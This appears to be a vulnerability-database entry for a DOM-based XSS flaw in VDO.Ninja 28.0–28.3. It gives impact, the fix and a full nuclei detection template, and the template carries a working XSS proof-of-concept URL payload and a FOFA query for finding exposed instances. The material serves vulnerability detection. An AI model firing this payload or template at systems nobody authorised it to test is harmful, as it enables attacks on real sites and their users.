HexBrain

Browse / CVEs / CVE-2025-62613

CVE-2025-62613· CWE-79

VDO.Ninja - DOM-Based Cross-Site Scripting

mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
67%of all CVEs are less likely
Readycheck to confirm it

VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL.

Impact

Attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on their behalf.

Fix

Update to version 28.4 or later.

How to confirm it

Send: GET {{BaseURL}}/index.html
Positive when: status_code == 200 and contains_any(body, "www.vdo.ninja", "VDO.Ninja") and contains(body, "session.version") && contains_any(body, "28.0", "28.1", "28.2", "28.3")
Send: GET {{BaseURL}}/examples/control.html?room=%3Cimg%20src=x%20onerror=alert(document.domain)%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, ".innerHTML", "roomID", "generateStreamID") and !contains(body, "encodeURIComponent")

Run it with nuclei: nuclei -id CVE-2025-62613 -u <target>

The full check
id: CVE-2025-62613

info:
  name: VDO.Ninja - DOM-Based Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Update to version 28.4 or later.
  reference:
    - https://github.com/steveseguin/vdo.ninja/security/advisories/GHSA-mp9c-cpch-x73c
    - https://github.com/steveseguin/vdo.ninja/commit/83c0ac753ad60c7a086daced3244688cabd4f6b8
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62613
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-62613
    cwe-id: CWE-79
    epss-score: 0.01151
    epss-percentile: 0.6717
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="vdo.ninja"
  tags: cve,cve2025,xss,vdo-ninja

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.html"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - 'contains_any(body, "www.vdo.ninja", "VDO.Ninja")'
          - 'contains(body, "session.version") && contains_any(body, "28.0", "28.1", "28.2", "28.3")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/examples/control.html?room=%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, ".innerHTML", "roomID", "generateStreamID")'
          - '!contains(body, "encodeURIComponent")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from